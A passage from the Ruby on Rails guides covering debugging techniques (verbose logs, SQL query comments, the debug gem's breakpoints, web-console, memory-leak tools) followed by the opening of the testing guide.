irb(main):001:0> Article.pamplemousse
  Article Load (0.4ms)  SELECT "articles".* FROM "articles"
  Comment Load (0.2ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 1]]
  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 2]]
  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 3]]
=> #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10">
```

After enabling `verbose_query_logs` we can see additional information for each query:

```
irb(main):003:0> Article.pamplemousse
  Article Load (0.2ms)  SELECT "articles".* FROM "articles"
  ↳ app/models/article.rb:5
  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 1]]
  ↳ app/models/article.rb:6
  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 2]]
  ↳ app/models/article.rb:6
  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 3]]
  ↳ app/models/article.rb:6
=> #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10">
```

Below each database statement you can see arrows pointing to the specific source filename (and line number) of the method that resulted in a database call e.g. `↳ app/models/article.rb:5`.

This can help you identify and address performance problems caused by N+1 queries: i.e. single database queries that generate multiple additional queries.

Verbose query logs are [enabled by default](configuring.html#config-active-record-verbose-query-logs) in the development environment logs.

We recommend against using this setting in production environments. It relies on Ruby's `Kernel#caller` method which tends to allocate a lot of memory in order to generate stacktraces of method calls. Use query log tags (see below) instead.

### [2.5. Verbose Enqueue Logs](#verbose-enqueue-logs)

Similar to the "Verbose Query Logs" above, allows to print source locations of methods that enqueue background jobs.

Verbose enqueue logs are [enabled by default](/7_1_release_notes.html#active-job-notable-changes) in the development environment logs.

```
# config/environments/development.rb
config.active_job.verbose_enqueue_logs = true
```

```
# bin/rails console
ActiveJob.verbose_enqueue_logs = true
```

We recommend against using this setting in production environments.

### [2.6. Verbose redirect logs](#verbose-redirect-logs)

Similar to other verbose log settings above, this logs the source location of a redirect.

```
Redirected to http://localhost:3000/posts/1
↳ app/controllers/posts_controller.rb:32:in `block (2 levels) in create'
```

It is enabled by default in development. To enable in other environments, use this configuration:

```
config.action_dispatch.verbose_redirect_logs = true
```

As with other verbose loggers, it is not recommended to be used in production environments.

## [3. SQL Query Comments](#sql-query-comments)

SQL statements can be commented with tags containing runtime information, such as the name of the controller or job, to trace troublesome queries back to the area of the application that generated these statements. This is useful when you are logging slow queries (e.g. [MySQL](https://dev.mysql.com/doc/refman/en/slow-query-log.html), [PostgreSQL](https://www.postgresql.org/docs/current/runtime-config-logging.html#GUC-LOG-MIN-DURATION-STATEMENT)), viewing currently running queries, or for end-to-end tracing tools.

```
config.active_record.query_log_tags_enabled = true
```

Enabling Query tags automatically disables prepared statements, because it makes most queries unique.

By default the name of the application, the name and action of the controller, or the name of the job are logged. The default format is [SQLCommenter](https://open-telemetry.github.io/opentelemetry-sqlcommenter/). For example:

```
Article Load (0.2ms)  SELECT "articles".* FROM "articles" /*application='Blog',controller='articles',action='index'*/

Article Update (0.3ms)  UPDATE "articles" SET "title" = ?, "updated_at" = ? WHERE "posts"."id" = ? /*application='Blog',job='ImproveTitleJob'*/  [["title", "Improved Rails debugging guide"], ["updated_at", "2022-10-16 20:25:40.091371"], ["id", 1]]
```

The behavior of [`ActiveRecord::QueryLogs`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryLogs.html) can be modified to include anything that helps connect the dots from the SQL query, such as request and job ids for application logs, account and tenant identifiers, etc.

### [3.1. Tagged Logging](#tagged-logging)

When running multi-user, multi-account applications, it's often useful to be able to filter the logs using some custom rules. `TaggedLogging` in Active Support helps you do exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.

```
logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
logger.tagged("BCX") { logger.info "Stuff" }                            # Logs "[BCX] Stuff"
logger.tagged("BCX", "Jason") { logger.info "Stuff" }                   # Logs "[BCX] [Jason] Stuff"
logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
```

### [3.2. Impact of Logs on Performance](#impact-of-logs-on-performance)

Logging will always have a small impact on the performance of your Rails app, particularly when logging to disk. Additionally, there are a few subtleties:

Using the `:debug` level will have a greater performance penalty than `:fatal`, as a far greater number of strings are being evaluated and written to the log output (e.g. disk).

Another potential pitfall is too many calls to `Logger` in your code:

```
logger.debug "Person attributes hash: #{@person.attributes.inspect}"
```

In the above example, there will be a performance impact even if the allowed output level doesn't include debug. The reason is that Ruby has to evaluate these strings, which includes instantiating the somewhat heavy `String` object and interpolating the variables.

Therefore, it's recommended to pass blocks to the logger methods, as these are only evaluated if the output level is the same as — or included in — the allowed level (i.e. lazy loading). The same code rewritten would be:

```
logger.debug { "Person attributes hash: #{@person.attributes.inspect}" }
```

The contents of the block, and therefore the string interpolation, are only evaluated if debug is enabled. This performance savings are only really noticeable with large amounts of logging, but it's a good practice to employ.

This section was written by [Jon Cairns at a Stack Overflow answer](https://stackoverflow.com/questions/16546730/logging-in-rails-is-there-any-performance-hit/16546935#16546935) and it is licensed under [cc by-sa 4.0](https://creativecommons.org/licenses/by-sa/4.0/).

## [4. Debugging with the `debug` Gem](#debugging-with-the-debug-gem)

When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.

The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written into the underlying Rails code.

Rails 7 includes the `debug` gem in the `Gemfile` of new applications generated by CRuby. By default, it is ready in the `development` and `test` environments. Please check its [documentation](https://github.com/ruby/debug) for usage.

### [4.1. Entering a Debugging Session](#entering-a-debugging-session)

By default, a debugging session will start after the `debug` library is required, which happens when your app boots. But don't worry, the session won't interfere with your application.

To enter the debugging session, you can use `binding.break` and its aliases: `binding.b` and `debugger`. The following examples will use `debugger`:

```
class PostsController < ApplicationController
  before_action :set_post, only: %i[ show edit update destroy ]

  # GET /posts or /posts.json
  def index
    @posts = Post.all
    debugger
  end
  # ...
end
```

Once your app evaluates the debugging statement, it'll enter the debugging session:

```
Processing by PostsController#index as HTML
[2, 11] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
     2|   before_action :set_post, only: %i[ show edit update destroy ]
     3|
     4|   # GET /posts or /posts.json
     5|   def index
     6|     @posts = Post.all
=>   7|     debugger
     8|   end
     9|
    10|   # GET /posts/1 or /posts/1.json
    11|   def show
=>#0    PostsController#index at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:7
  #1    ActionController::BasicImplicitRender#send_action(method="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-8.1.0.alpha/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg)
```

You can exit the debugging session at any time and continue your application execution with the `continue` (or `c`) command. Or, to exit both the debugging session and your application, use the `quit` (or `q`) command.

### [4.2. The Context](#the-context)

After entering the debugging session, you can type in Ruby code as if you are in a Rails console or IRB.

```
(rdbg) @posts    # ruby
[]
(rdbg) self
#<PostsController:0x0000000000aeb0>
(rdbg)
```

You can also use the `p` or `pp` command to evaluate Ruby expressions, which is useful when a variable name conflicts with a debugger command.

```
(rdbg) p headers    # command
=> {"X-Frame-Options"=>"SAMEORIGIN", "X-XSS-Protection"=>"1; mode=block", "X-Content-Type-Options"=>"nosniff", "X-Download-Options"=>"noopen", "X-Permitted-Cross-Domain-Policies"=>"none", "Referrer-Policy"=>"strict-origin-when-cross-origin"}
(rdbg) pp headers    # command
{"X-Frame-Options"=>"SAMEORIGIN",
 "X-XSS-Protection"=>"1; mode=block",
 "X-Content-Type-Options"=>"nosniff",
 "X-Download-Options"=>"noopen",
 "X-Permitted-Cross-Domain-Policies"=>"none",
 "Referrer-Policy"=>"strict-origin-when-cross-origin"}
(rdbg)
```

Besides direct evaluation, the debugger also helps you collect a rich amount of information through different commands, such as:

* `info` (or `i`) - Information about current frame.
* `backtrace` (or `bt`) - Backtrace (with additional information).
* `outline` (or `o`, `ls`) - Available methods, constants, local variables, and instance variables in the current scope.

#### [4.2.1. The `info` Command](#the-info-command)

`info` provides an overview of the values of local and instance variables that are visible from the current frame.

```
(rdbg) info    # command
%self = #<PostsController:0x0000000000af78>
@_action_has_layout = true
@_action_name = "index"
@_config = {}
@_lookup_context = #<ActionView::LookupContext:0x00007fd91a037e38 @details_key=nil, @digest_cache=...
@_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1>
@_response = #<ActionDispatch::Response:0x00007fd91a03ea08 @mon_data=#<Monitor:0x00007fd91a03e8c8>...
@_response_body = nil
@_routes = nil
@marked_for_same_origin_verification = true
@posts = []
@rendered_format = nil
```

#### [4.2.2. The `backtrace` Command](#the-backtrace-command)

When used without any options, `backtrace` lists all the frames on the stack:

```
=>#0    PostsController#index at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:7
  #1    ActionController::BasicImplicitRender#send_action(method="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-2.0.alpha/lib/action_controller/metal/basic_implicit_render.rb:6
  #2    AbstractController::Base#process_action(method_name="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-8.1.0.alpha/lib/abstract_controller/base.rb:214
  #3    ActionController::Rendering#process_action(#arg_rest=nil) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-8.1.0.alpha/lib/action_controller/metal/rendering.rb:53
  #4    block in process_action at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-8.1.0.alpha/lib/abstract_controller/callbacks.rb:221
  #5    block in run_callbacks at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activesupport-8.1.0.alpha/lib/active_support/callbacks.rb:118
  #6    ActionText::Rendering::ClassMethods#with_renderer(renderer=#<PostsController:0x0000000000af78>) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actiontext-8.1.0.alpha/lib/action_text/rendering.rb:20
  #7    block {|controller=#<PostsController:0x0000000000af78>, action=#<Proc:0x00007fd91985f1c0 /Users/st0012/...|} in <class:Engine> (4 levels) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actiontext-8.1.0.alpha/lib/action_text/engine.rb:69
  #8    [C] BasicObject#instance_exec at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activesupport-8.1.0.alpha/lib/active_support/callbacks.rb:127
  ..... and more
```

Every frame comes with:

* Frame identifier
* Call location
* Additional information (e.g. block or method arguments)

This will give you a great sense about what is happening in your app. However, you probably will notice that:

* There are too many frames (usually 50+ in a Rails app).
* Most of the frames are from Rails or other libraries you use.

The `backtrace` command provides 2 options to help you filter frames:

* `backtrace [num]` - only show `num` numbers of frames, e.g. `backtrace 10` .
* `backtrace /pattern/` - only show frames with identifier or location that matches the pattern, e.g. `backtrace /MyModel/`.

It is also possible to use these options together: `backtrace [num] /pattern/`.

#### [4.2.3. The `outline` Command](#the-outline-command)

`outline` is similar to `pry` and `irb`'s `ls` command. It will show you what is accessible from the current scope, including:

* Local variables
* Instance variables
* Class variables
* Methods & their sources

```
ActiveSupport::Configurable#methods: config
AbstractController::Base#methods:
  action_methods  action_name  action_name=  available_action?  controller_path  inspect
  response_body
ActionController::Metal#methods:
  content_type       content_type=  controller_name  dispatch          headers
  location           location=      media_type       middleware_stack  middleware_stack=
  middleware_stack?  performed?     request          request=          reset_session
  response           response=      response_body=   response_code     session
  set_request!       set_response!  status           status=           to_a
ActionView::ViewPaths#methods:
  _prefixes  any_templates?  append_view_path   details_for_lookup  formats     formats=  locale
  locale=    lookup_context  prepend_view_path  template_exists?    view_paths
AbstractController::Rendering#methods: view_assigns

# .....

PostsController#methods: create  destroy  edit  index  new  show  update
instance variables:
  @_action_has_layout  @_action_name    @_config  @_lookup_context                      @_request
  @_response           @_response_body  @_routes  @marked_for_same_origin_verification  @posts
  @rendered_format
class variables: @@raise_on_open_redirects
```

### [4.3. Breakpoints](#breakpoints)

There are many ways to insert and trigger a breakpoint in the debugger. In addition to adding debugging statements (e.g. `debugger`) directly in your code, you can also insert breakpoints with commands:

* `break` (or `b`)

  * `break` - list all breakpoints
  * `break <num>` - set a breakpoint on the `num` line of the current file
  * `break <file:num>` - set a breakpoint on the `num` line of `file`
  * `break <Class#method>` or `break <Class.method>` - set a breakpoint on `Class#method` or `Class.method`
  * `break <expr>.<method>` - sets a breakpoint on `<expr>` result's `<method>` method.

* `catch <Exception>` - set a breakpoint that'll stop when `Exception` is raised

* `watch <@ivar>` - set a breakpoint that'll stop when the result of current object's `@ivar` is changed (this is slow)

And to remove them, you can use:

* `delete` (or `del`)

  * `delete` - delete all breakpoints
  * `delete <num>` - delete the breakpoint with id `num`

#### [4.3.1. The `break` Command](#the-break-command)

**Set a breakpoint on a specified line number - e.g. `b 28`**

```
[20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
    20|   end
    21|
    22|   # POST /posts or /posts.json
    23|   def create
    24|     @post = Post.new(post_params)
=>  25|     debugger
    26|
    27|     respond_to do |format|
    28|       if @post.save
    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg) b 28    # break command
#0  BP - Line  /Users/st0012/projects/rails-guide-example/app/controllers/posts_controller.rb:28 (line)
```

```
(rdbg) c    # continue command
[23, 32] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
    23|   def create
    24|     @post = Post.new(post_params)
    25|     debugger
    26|
    27|     respond_to do |format|
=>  28|       if @post.save
    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
    30|         format.json { render :show, status: :created, location: @post }
    31|       else
    32|         format.html { render :new, status: :unprocessable_entity }
=>#0    block {|format=#<ActionController::MimeResponds::Collec...|} in create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:28
  #1    ActionController::MimeResponds#respond_to(mimes=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/mime_responds.rb:205
  # and 74 frames (use `bt' command for all frames)

Stop by #0  BP - Line  /Users/st0012/projects/rails-guide-example/app/controllers/posts_controller.rb:28 (line)
```

Set a breakpoint on a given method call - e.g. `b @post.save`.

```
[20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
    20|   end
    21|
    22|   # POST /posts or /posts.json
    23|   def create
    24|     @post = Post.new(post_params)
=>  25|     debugger
    26|
    27|     respond_to do |format|
    28|       if @post.save
    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg) b @post.save    # break command
#0  BP - Method  @post.save at /Users/st0012/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb:43
```

```
(rdbg) c    # continue command
[39, 48] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb
    39|         SuppressorRegistry.suppressed[name] = previous_state
    40|       end
    41|     end
    42|
    43|     def save(**) # :nodoc:
=>  44|       SuppressorRegistry.suppressed[self.class.name] ? true : super
    45|     end
    46|
    47|     def save!(**) # :nodoc:
    48|       SuppressorRegistry.suppressed[self.class.name] ? true : super
=>#0    ActiveRecord::Suppressor#save(#arg_rest=nil) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb:44
  #1    block {|format=#<ActionController::MimeResponds::Collec...|} in create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:28
  # and 75 frames (use `bt' command for all frames)

Stop by #0  BP - Method  @post.save at /Users/st0012/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb:43
```

#### [4.3.2. The `catch` Command](#the-catch-command)

Stop when an exception is raised - e.g. `catch ActiveRecord::RecordInvalid`.

```
[20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
    20|   end
    21|
    22|   # POST /posts or /posts.json
    23|   def create
    24|     @post = Post.new(post_params)
=>  25|     debugger
    26|
    27|     respond_to do |format|
    28|       if @post.save!
    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg) catch ActiveRecord::RecordInvalid    # command
#1  BP - Catch  "ActiveRecord::RecordInvalid"
```

```
(rdbg) c    # continue command
[75, 84] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb
    75|     def default_validation_context
    76|       new_record? ? :create : :update
    77|     end
    78|
    79|     def raise_validation_error
=>  80|       raise(RecordInvalid.new(self))
    81|     end
    82|
    83|     def perform_validations(options = {})
    84|       options[:validate] == false || valid?(options[:context])
=>#0    ActiveRecord::Validations#raise_validation_error at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:80
  #1    ActiveRecord::Validations#save!(options={}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:53
  # and 88 frames (use `bt' command for all frames)

Stop by #1  BP - Catch  "ActiveRecord::RecordInvalid"
```

#### [4.3.3. The `watch` Command](#the-watch-command)

Stop when the instance variable is changed - e.g. `watch @_response_body`.

```
[20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
    20|   end
    21|
    22|   # POST /posts or /posts.json
    23|   def create
    24|     @post = Post.new(post_params)
=>  25|     debugger
    26|
    27|     respond_to do |format|
    28|       if @post.save!
    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg) watch @_response_body    # command
#0  BP - Watch  #<PostsController:0x00007fce69ca5320> @_response_body =
```

```
(rdbg) c    # continue command
[173, 182] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal.rb
   173|       body = [body] unless body.nil? || body.respond_to?(:each)
   174|       response.reset_body!
   175|       return unless body
   176|       response.body = body
   177|       super
=> 178|     end
   179|
   180|     # Tests if render or redirect has already happened.
   181|     def performed?
   182|       response_body || response.committed?
=>#0    ActionController::Metal#response_body=(body=["<html><body>You are being <a href=\"ht...) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal.rb:178 #=> ["<html><body>You are being <a href=\"ht...
  #1    ActionController::Redirecting#redirect_to(options=#<Post id: 13, title: "qweqwe", content:..., response_options={:allow_other_host=>false}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/redirecting.rb:74
  # and 82 frames (use `bt' command for all frames)

Stop by #0  BP - Watch  #<PostsController:0x00007fce69ca5320> @_response_body =  -> ["<html><body>You are being <a href=\"http://localhost:3000/posts/13\">redirected</a>.</body></html>"]
(rdbg)
```

#### [4.3.4. Breakpoint Options](#breakpoint-options)

In addition to different types of breakpoints, you can also specify options to achieve more advanced debugging workflows. Currently, the debugger supports 4 options:

* `do: <cmd or expr>` - when the breakpoint is triggered, execute the given command/expression and continue the program:
  * `break Foo#bar do: bt` - when `Foo#bar` is called, print the stack frames.
* `pre: <cmd or expr>` - when the breakpoint is triggered, execute the given command/expression before stopping:
  * `break Foo#bar pre: info` - when `Foo#bar` is called, print its surrounding variables before stopping.
* `if: <expr>` - the breakpoint only stops if the result of `<expr`> is true:
  * `break Post#save if: params[:debug]` - stops at `Post#save` if `params[:debug]` is also true.
* `path: <path_regexp>` - the breakpoint only stops if the event that triggers it (e.g. a method call) happens from the given path:
  * `break Post#save path: app/services/a_service` - stops at `Post#save` if the method call happens at a path that includes `app/services/a_service`.

Please also note that the first 3 options: `do:`, `pre:` and `if:` are also available for the debug statements we mentioned earlier. For example:

```
[2, 11] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
     2|   before_action :set_post, only: %i[ show edit update destroy ]
     3|
     4|   # GET /posts or /posts.json
     5|   def index
     6|     @posts = Post.all
=>   7|     debugger(do: "info")
     8|   end
     9|
    10|   # GET /posts/1 or /posts/1.json
    11|   def show
=>#0    PostsController#index at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:7
  #1    ActionController::BasicImplicitRender#send_action(method="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg:binding.break) info
%self = #<PostsController:0x00000000017480>
@_action_has_layout = true
@_action_name = "index"
@_config = {}
@_lookup_context = #<ActionView::LookupContext:0x00007fce3ad336b8 @details_key=nil, @digest_cache=...
@_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1>
@_response = #<ActionDispatch::Response:0x00007fce3ad397e8 @mon_data=#<Monitor:0x00007fce3ad396a8>...
@_response_body = nil
@_routes = nil
@marked_for_same_origin_verification = true
@posts = #<ActiveRecord::Relation [#<Post id: 2, title: "qweqwe", content: "qweqwe", created_at: "...
@rendered_format = nil
```

#### [4.3.5. Program Your Debugging Workflow](#program-your-debugging-workflow)

With those options, you can script your debugging workflow in one line like:

```
def create
  debugger(do: "catch ActiveRecord::RecordInvalid do: bt 10")
  # ...
end
```

And then the debugger will run the scripted command and insert the catch breakpoint

```
(rdbg:binding.break) catch ActiveRecord::RecordInvalid do: bt 10
#0  BP - Catch  "ActiveRecord::RecordInvalid"
[75, 84] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb
    75|     def default_validation_context
    76|       new_record? ? :create : :update
    77|     end
    78|
    79|     def raise_validation_error
=>  80|       raise(RecordInvalid.new(self))
    81|     end
    82|
    83|     def perform_validations(options = {})
    84|       options[:validate] == false || valid?(options[:context])
=>#0    ActiveRecord::Validations#raise_validation_error at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:80
  #1    ActiveRecord::Validations#save!(options={}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:53
  # and 88 frames (use `bt' command for all frames)
```

Once the catch breakpoint is triggered, it'll print the stack frames

```
Stop by #0  BP - Catch  "ActiveRecord::RecordInvalid"

(rdbg:catch) bt 10
=>#0    ActiveRecord::Validations#raise_validation_error at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:80
  #1    ActiveRecord::Validations#save!(options={}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:53
  #2    block in save! at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/transactions.rb:302
```

This technique can save you from repeated manual input and make the debugging experience smoother.

You can find more commands and configuration options from its [documentation](https://github.com/ruby/debug).

## [5. Debugging with the `web-console` Gem](#debugging-with-the-web-console-gem)

Web Console is a bit like `debug`, but it runs in the browser. You can request a console in the context of a view or a controller on any page. The console would be rendered next to your HTML content.

### [5.1. Console](#console)

Inside any controller action or view, you can invoke the console by calling the `console` method.

For example, in a controller:

```
class PostsController < ApplicationController
  def new
    console
    @post = Post.new
  end
end
```

Or in a view:

```
<% console %>

<h2>New Post</h2>
```

This will render a console inside your view. You don't need to care about the location of the `console` call; it won't be rendered on the spot of its invocation but next to your HTML content.

The console executes pure Ruby code: You can define and instantiate custom classes, create new models, and inspect variables.

Only one console can be rendered per request. Otherwise `web-console` will raise an error on the second `console` invocation.

### [5.2. Inspecting Variables](#inspecting-variables)

You can invoke `instance_variables` to list all the instance variables available in your context. If you want to list all the local variables, you can do that with `local_variables`.

### [5.3. Settings](#settings)

* `config.web_console.allowed_ips`: Authorized list of IPv4 or IPv6 addresses and networks (defaults: `127.0.0.1/8, ::1`).
* `config.web_console.whiny_requests`: Log a message when a console rendering is prevented (defaults: `true`).

Since `web-console` evaluates plain Ruby code remotely on the server, don't try to use it in production.

## [6. Debugging Memory Leaks](#debugging-memory-leaks)

A Ruby application (on Rails or not), can leak memory — either in the Ruby code or at the C code level.

In this section, you will learn how to find and fix such leaks by using tools such as Valgrind.

### [6.1. Valgrind](#valgrind)

[Valgrind](http://valgrind.org/) is an application for detecting C-based memory leaks and race conditions.

There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, if a C extension in the interpreter calls `malloc()` but doesn't properly call `free()`, this memory won't be available until the app terminates.

For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](https://web.archive.org/web/20230518081626/https://blog.evanweaver.com/2008/02/05/valgrind-and-ruby/) by Evan Weaver.

### [6.2. Find a Memory Leak](#find-a-memory-leak)

There is an excellent article about detecting and fixing memory leaks at Derailed, [which you can read here](https://github.com/schneems/derailed_benchmarks#is-my-app-leaking-memory).

## [7. Plugins for Debugging](#plugins-for-debugging)

There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:

* [Query Trace](https://github.com/ruckus/active-record-query-trace/tree/master) Adds query origin tracing to your logs.
* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
* [Better Errors](https://github.com/charliesome/better_errors) Replaces the standard Rails error page with a new one containing more contextual information, like source code and variable inspection.
* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails development that will end your tailing of development.log. Have all information about your Rails app requests in the browser — in the Developer Tools panel. Provides insight to db/rendering/total times, parameter list, rendered views and more.
* [Pry](https://github.com/pry/pry) An IRB alternative and runtime developer console.

## [8. References](#references)

* [web-console Homepage](https://github.com/rails/web-console)
* [debug homepage](https://github.com/ruby/debug)

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/testing.html
----

***

## [1. Why Write Tests?](#why-write-tests-questionmark)

Writing automated tests can be a faster way of ensuring your code continues to work as expected than manual testing through the browser or the console. Failing tests can quickly reveal issues, allowing you to identify and fix bugs early in the development process. This practice not only improves the reliability of your code but also improves confidence in your changes.

Rails makes it easy to write tests. You can read more about Rails' built in support for testing in the next section.

## [2. Introduction to Testing](#introduction-to-testing)

With Rails, testing is central to the development process right from the creation of a new application.

### [2.1. Test Setup](#test-setup)

Rails creates a `test` directory for you as soon as you create a Rails project using `bin/rails new` *application\_name*. If you list the contents of this directory then you will see:

```
$ ls -F test
controllers/  fixtures/  helpers/  integration/  mailers/  models/  test_helper.rb
```

### [2.2. Test Directories](#test-directories)

The `helpers`, `mailers`, and `models` directories store tests for [view helpers](#testing-view-helpers), [mailers](#testing-mailers), and [models](#testing-models), respectively.

The `controllers` directory is used for [tests related to controllers](#functional-testing-for-controllers), routes, and views, where HTTP requests will be simulated and assertions made on the outcomes.

The `integration` directory is reserved for [tests that cover interactions between controllers](#integration-testing).

[Fixtures](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FixtureSet.html) are a way of mocking up data to use in your tests, so that you don't have to use 'real' data. They are stored in the `fixtures` directory, and you can read more about them in the [Fixtures](#fixtures) section below.

The `test_helper.rb` file holds the default configuration for your tests.

When you first [generate system tests](#generating-system-tests), a `system` directory and an `application_system_test_case.rb` file will be created.

The `system` directory holds [system tests](#system-testing), which are used for full browser testing of your application. System tests allow you to test your application the way your users experience it and help you test your JavaScript as well. System tests inherit from [Capybara](https://github.com/teamcapybara/capybara) and perform in-browser tests for your application.

The `application_system_test_case.rb` file holds the default configuration for your system tests.

A `jobs` directory will also be created for your job tests when you first [generate a job](active_job_basics.html#defining-a-job).

